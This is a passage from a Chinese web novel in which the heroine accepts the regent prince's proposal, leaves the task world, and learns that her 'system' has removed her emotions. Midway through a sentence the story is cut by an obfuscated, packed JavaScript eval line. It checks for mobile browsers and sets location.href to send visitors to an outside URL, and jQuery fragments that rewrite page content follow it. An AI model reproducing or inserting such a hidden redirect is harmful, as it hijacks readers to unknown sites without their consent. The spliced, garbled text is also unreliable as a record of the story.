他的话语带着一丝自嘲,却让余柚的脸颊更烫了。她想起那日在偏殿的场景,想起自己当时心里盘算着抗拒值,根本没把余大人的担忧放在心上,现在想来,倒有些不好意思了。
“后来,我让你教我木雕。”萧绝的目光变得愈发温柔,“你虽然嘴上说着嫌弃的话,说我基础不牢、技术很差,却还是耐心地一步步教我。从香蕉到星星,再到兰草,你手把手地指导我,甚至为了让我看清步骤,放慢自己的动作。那一刻,我觉得,能这样静静地待在你身边,听你吐槽,看你认真雕刻的模样,便是世间最美好的事情。”
“还有你一次次地救我。”他的语气里带着一丝感激和珍视,“往莲子羹里丢死老鼠,阻止下毒的侍女,宫宴上那句石破天惊的‘王爷今日好生俊朗’,还有西山桃林里为我包扎伤口,别院遇险时你焦急奔来的身影……每一次,你都在我最需要的时候出现。我知道,你嘴上说着讨厌我,实则也是关心我的对吗?不然,你不会一次次地冒着危险救我。”
萧绝的目光落在余柚的脸上,带着一丝不易察觉的醋意:“还有宋修筠。那日看到你们在琼林苑谈诗论句,言笑晏晏,甚至他还握了你的手腕,我心里竟莫名地生出一股郁气。我不明白,那个书呆子哪里比得上我,你为何对他那般和颜悦色,对我却总是带着刺。后来我才知道,那只是一场乌龙,你对他并无男女之情,我这颗悬着的心,才算是落了地。”
他一步步逼近,余柚下意识地后退,直到后背抵住了身后的大树,退无可退。萧绝俯身,两人之间的距离瞬间拉近,他温热的呼吸拂过她的脸颊,带着淡淡的雪松香,让她的心跳快得像是要跳出胸腔。
“柚儿,”他的声音低沉而认真,眼底满是深情,“从宫宴上的一眼惊鸿,到后来的一次次相处,你早已住进了我的心里。我喜欢你的口是心非,喜欢你的善良通透,喜欢你的认真执着,甚至喜欢你对我带着刺的模样。我知道,我以前的名声不好,让你心生畏惧,但我向你保证,从今往后,我会用我的一生来守护你,让你再也不受半点委屈。柚儿,嫁给我,好吗?”
余柚看着他近在咫尺的脸庞,感受着他眼底浓浓的深情,心头像是被什么东西填满了一般,暖暖的,却又带着一丝慌乱。她不得不承认,萧绝的这番话,彻底打动了她。
这些日子以来,他的温柔体贴、他的默默付出、他的深情守护,都像温水煮蛙般,一点点侵蚀着她的防线。她对他,早已不是最初的任务者对任务对象的态度,那份心动,是真实存在的。
可是,她是来自异世界的任务者,完成任务后,她终究要离开这个世界。如果她现在放纵自己沉溺于这份感情,将来离开的时候,只会更加痛苦。而且,她也不知道,自己是否有资格拥有这份幸福。
“系统,”余柚在心里急切地呼唤,“如果我完成所有任务之后,能不能选择回到这个世界?回到我离开的那个时间点?”
【叮!宿主权限已解锁该功能。完成所有任务后,宿主可自由选择是否回到任意已完成的任务世界,且可精准定位至离开的时间点,继续该世界的生活。】
系统冰冷的机械音在脑海里响起,却让余柚瞬间松了口气。她没想到,系统竟然还有这样的功能。这意味着,她现在可以放心地接受萧绝的感情,不必担心将来会永远分离。
看着萧绝满是期待的眼神,余柚深吸一口气,脸颊依旧绯红,眼神却变得坚定起来。她抬起头,迎上他的目光,声音不大,却异常清晰:“好,我答应你。”
萧绝的眼睛瞬间亮了起来,像是漫天星辰都落入了他的眼眸,满是狂喜和激动。他猛地伸出手,将余柚紧紧地拥入怀中,力道大得像是要将她揉进自己的骨血里。
“柚儿,你说真的?你真的愿意嫁给我?”他的声音带着一丝颤抖,显然是激动坏了。
余柚被他抱得有些喘不过气,脸颊贴在他温热的胸膛上,能清晰地感受到他沉稳而有力的心跳。她轻轻点了点头,声音带着一丝羞涩:“嗯,我愿意。”
得到她肯定的答复,萧绝更加激动了。他低头,在她的额头上印下一个轻柔的吻,带着珍视和宠溺。“太好了,柚儿,太好了!”他反复呢喃着,语气里的喜悦溢于言表。
余柚窝在他的怀里,感受着他的温暖和喜悦,心头也泛起一股淡淡的甜蜜。她想,或许,放纵自己一次,也没什么不好。
几日后,摄政王府。
萧绝带着余柚漫步在王府的庭院里,阳光透过树叶的缝隙洒下来,在地面上投下斑驳的光影。王府的景致依旧雅致,亭台楼阁错落有致,花草树木郁郁葱葱,只是在余柚眼中,却多了几分不一样的意味。
“你看这里。”萧绝指着不远处的一座偏殿,语气带着一丝回忆,“那日你爹带着你和余夫人来赔罪,我们就是在这里等候的。当时我看着你乖乖地坐着饮茶,心里就觉得奇怪,我的名声当真有那么差吗?好好一个小姑娘,怎么就那么怕我,甚至说出‘死都不嫁’的狠话。”
余柚想起那日的场景,忍不住失笑:“可不是嘛!京城里都传你心狠手辣,喜欢抽筋拔骨,书房里还挂着人皮,说是能止小儿夜啼。我当时心里怕得要死,生怕你一个不高兴,就把我们全家都给收拾了。”
“那些都是谣言。”萧绝无奈地摇了摇头,语气里带着一丝自嘲,“我什么时候变得那么可怕了?不过是处置了几个罪有应得的政敌,没想到竟被传得如此不堪。”
他顿了顿,目光落在余柚脸上,带着一丝温柔:“不过,也幸好有那些谣言,让我有机会遇见你,有机会让你一步步放下对我的戒心,看到真实的我。”
两人继续往前走,来到了王府的书房。萧绝推开房门,一股淡淡的墨香和木料的清香扑面而来。书房里的陈设依旧,书案上还摆放着他们上次雕刻用的工具和木料,旁边放着那只余柚雕的小猫木雕,还有萧绝自己雕的那些奇形怪状的香蕉和星星。
“这里,是我们一起学木雕的地方。”萧绝的目光扫过书案上的木雕工具,语气带着一丝怀念,“还记得你第一次教我雕香蕉吗?我雕得乱七八糟,你还嘲笑我说像根短木棍。后来你又教我雕星星,我练了好久,才勉强像个样子。”
余柚看着那些熟悉的木雕,想起当时教萧绝雕刻的场景,忍不住笑了起来:“你当时可笨了,明明我已经放慢了动作,一步步教你,你还是会刻错。我都怀疑,你是不是故意的,就是想让我多教你一会儿。”
“或许吧。”萧绝低笑一声,目光温柔地看着她,“能这样待在你身边,听你吐槽,看你认真的模样,对我来说,便是最幸福的事情。”
他走到书案旁,拿起那只小猫木雕,递到余柚手中:“这个小猫,你雕得真好,和府里那只黑猫一模一样,尤其是那双眼睛,灵动又傲娇。我一直把它放在这里,每次看到它,就会想起你。”
余柚接过木雕,指尖摩挲着冰凉的木料,感受着上面细腻的纹路,心里泛起一股淡淡的暖意。她抬头看向萧绝,发现他正一瞬不瞬地看着自己,眼底满是深情。
“还有这里。”萧绝拉着余柚的手,走到书房的窗边,“你送我的那些话本故事,我经常在这品读,有时候看着看着就觉得我该对你‘以身相许’了。”
余柚的脸颊微微发烫,有些不好意思地别开了视线:“你别乱说!”
“好,好,我不说了。”萧绝低笑一声,语气里带着一丝宠溺。
他轻轻握住余柚的手,指尖传来温热的触感。余柚没有挣扎,任由他握着,心里泛起一股淡淡的甜蜜。
两人又在王府里逛了一会儿,萧绝细数着他们相处的点点滴滴,从第一次见面的尴尬,到学木雕的趣事,再到一次次的生死相依,每一个细节,他都记得清清楚楚。
余柚静静地听着,偶尔回应两句,脸上始终带着淡淡的笑意。她没想到,萧绝竟然把这些小事都记在了心里,这份心意,让她无比感动。
走到一处回廊下,萧绝突然停下脚步,转过身,将余柚困在自己和廊柱之间。他俯身凑近,温热的呼吸拂过她的耳朵,让她的耳朵瞬间泛红。
“柚儿,”他的声音低沉而沙哑,带着一丝魅惑,“你知道吗?每次看到你对我带着刺的模样,我就觉得特别可爱。明明心里很关心我,嘴上却偏要装作不在乎的样子。”
余柚的脸颊更烫了,想要后退,却被萧绝紧紧按住了肩膀。她能清晰地感受到他身上的气息,闻到他身上淡淡的雪松香,心跳快得像是要跳出胸腔。
“你……你想干什么?”她的声音带着一丝颤抖,眼神慌乱地四处闪躲。
萧绝看着她羞涩的模样,眼底的笑意更深了。他低头,薄唇轻轻贴上她的耳朵,温热的气息让她的耳朵愈发泛红,连脖颈都染上了绯色。
“没什么。”他的声音低沉而温柔,带着一丝戏谑,“就是想告诉你,以前京城里的人都说我是活阎王,可我对你,怎么也狠不下心来。捏死你?我可不敢。要是把你捏死了,我去哪里找这么好的王妃呢?”
温热的气息拂过耳畔,带着他独特的嗓音,让余柚的心跳瞬间漏了一拍。她猛地抬头,撞进萧绝深不见底的眼眸里,那里面翻涌着温柔、戏谑和深情,让她瞬间失了神。
萧绝看着她呆呆的模样,忍不住低笑一声,伸手轻轻捏了捏她的脸颊:“怎么,被我吓到了?”
余柚这才回过神来,脸颊通红,有些恼怒地拍开他的手:“谁被你吓到了!你少耍流氓!”
“我只是在跟我的王妃说悄悄话而已,怎么能算是耍流氓呢?”萧绝挑眉,语气里带着一丝无辜,“再说,我耍流氓,也只对你耍流氓。”
余柚被他说得哑口无言,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195935|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能瞪着他,脸颊却越来越烫。看着她这副娇嗔的模样,萧绝的眼底满是宠溺,他轻轻抬手,拂开她额前的碎发,语气温柔:“好了,不逗你了。时候不早了,我们去吃饭吧,我让厨房做了你爱吃的菜。”
两人并肩朝着膳厅走去,阳光洒在他们身上,将他们的身影拉得很长,画面温馨而美好。
膳厅里,早已摆满了丰盛的菜肴,水晶虾饺、蟹黄汤包、糖醋排骨、桂花糖藕……全都是余柚爱吃的口味。萧绝拉着她坐下,拿起筷子,为她夹了一块糖醋排骨:“尝尝,这是厨房新做的,看看合不合你的口味。”
余柚接过排骨,放进嘴里,酸甜的口感在舌尖弥漫开来,味道极好。她点了点头:“好吃,比上次的还要好吃。”
“喜欢就多吃点。”萧绝看着她吃得眉眼舒展的模样,眼底满是笑意,也跟着动了筷。
两人一边吃饭,一边闲聊,气氛温馨而甜蜜。余柚偶尔会想起自己即将离开这个世界,心里泛起一丝淡淡的失落,但一想到完成所有任务后,她还能回到这里,便又释然了。
就在这时,脑海里突然响起系统冰冷的机械音:
【叮!检测到本世界剧情已稳定,宿主任务已全部完成。今日24时整,宿主将脱离本任务世界,返回系统空间。请宿主做好准备。】
余柚握着筷子的手微微一顿,心里泛起一股复杂的情绪。虽然早就知道这一天会到来,但真的临近时,还是有些不舍。她抬眼看向对面的萧绝,看着他俊朗的脸庞,看着他眼底的温柔,心里暗暗道:萧绝,等我,我一定会回来的。
这顿饭,余柚吃得有些心不在焉。萧绝察觉到了她的异样,关切地问道:“柚儿,怎么了?是不是饭菜不合口味?还是哪里不舒服?”
“没有。”余柚摇了摇头,勉强笑了笑,“就是突然觉得有些舍不得这里。”
萧绝以为她是舍不得余府的亲人,伸手握住她的手,语气温柔:“放心吧,婚后你想回余府,我们随时都可以回去。而且,余大人和余夫人也会经常来看你,你不会孤单的。”
余柚点了点头,没有解释。有些事情,她无法向萧绝说明,只能将这份不舍藏在心底。
吃完饭,萧绝亲自送她回了余府。临别时,他紧紧地拥抱着她,语气温柔:“柚儿,早点休息,明日我再来找你。”
“嗯。”余柚点了点头,踮起脚尖,在他的脸颊上印下一个轻柔的吻,“萧绝,晚安。”
看着萧绝的马车渐渐远去,余柚的眼眶微微泛红。她转身走进余府,和爹娘聊了很久,说了很多贴心的话,直到深夜,才回到自己的闺房。
躺在床上,余柚辗转反侧,脑海里全是和萧绝相处的点点滴滴。
凌晨时分,窗外是一片墨色。余柚的身体渐渐变得透明,脑海里响起系统的提示音:
【叮!时间已到,宿主即将脱离本任务世界。】
她最后看了一眼自己的闺房,看了一眼这个她生活了许久的世界,心里默念:萧绝,等我回来。
下一秒,她的身影彻底消失在闺房里,只留下空荡荡的房间,和空气中残留的一丝淡淡的清香。
系统空间里,余柚缓缓睁开眼睛。周围一片白茫茫的,没有一丝杂质,和她离开时一模一样。
她下意识地摸了摸自己的心脏,却发现那里异常平静,没有了在任务世界里想起萧绝时的悸动,也没有了离开时的不舍。
那些曾经让她心动不已的回忆,此刻依旧清晰地印在脑海里,可她的心里,却没有了丝毫波澜。
就好像,那些情感从未存在过一样。
“系统,这是怎么回事?”余柚有些疑惑地问道,“我对萧绝的感情,怎么消失了?”
【叮!为保证任务者能顺利完成后续任务,系统会在宿主脱离每个任务世界后,自动抽离宿主在该世界产生的情感。】
系统冰冷的机械音响起。
【经数据统计,部分任务者在经历情感丰富的任务世界后,会因情感堆叠导致后续任务完成率极低,甚至出现精神状态异常的情况。因此,抽离情感是为了保护宿主,确保后续任务能顺利进行。】
系统顿了顿,继续说道:【宿主无需担心,所有情感数据都会被妥善保存。等宿主完成所有任务后,可自由选择是否取回任意任务世界的情感。】
余柚了然地点了点头。
原来如此,难怪她现在对萧绝只有回忆,没有了心动的感觉。虽然有些割裂,但她也能理解系统的做法。如果带着对萧绝的深情去完成下一个任务,她恐怕很难集中精力,甚至可能会因为思念而影响任务的完成。
她闭上眼睛,脑海里回放着和萧绝相处的点点滴滴。宫宴上的惊鸿一瞥,摄政王府的木雕教学,西山桃林的生死相依,还有最后那深情的告白和甜蜜的相处……每一个画面都清晰无比,可她的心里,却平静得像一潭湖水。
这种感觉很奇怪,明明是自己亲身经历过的事情,明明那些情感曾经那么真实,可现在却像是在看别人的故事。
她居然会为了他选择最终回到任务世界吗?
她到时候一定要取回感情。
感受感受。
还是不取回去当首富之女呢?
可她都答应人家的提亲了。
余柚摇了摇头,抛开这些思绪。既然情感已经被抽离,再纠结也没有意义。她现在要做的,是调整好心态,迎接下一个任务世界。
【另外,系统检测出,上个任务世界多次出现紧急任务的原因,是系统的检测阈值数值有误,小危险都被检测为性命之危,作为补偿,上个任务世界的积分将十倍奖励给宿主。】
好家伙。
打白工了……
余柚一时竟有些憋屈,想了想,也觉得没什么大不了,毕竟她愤怒的情绪也被抽离了。
算了算了。
“系统,”余柚开口说道,语气平静无波,“我们前往下一个世界吧。”
【叮!收到宿主指令。正在为宿主匹配下一个任务世界,请宿主做好准备。】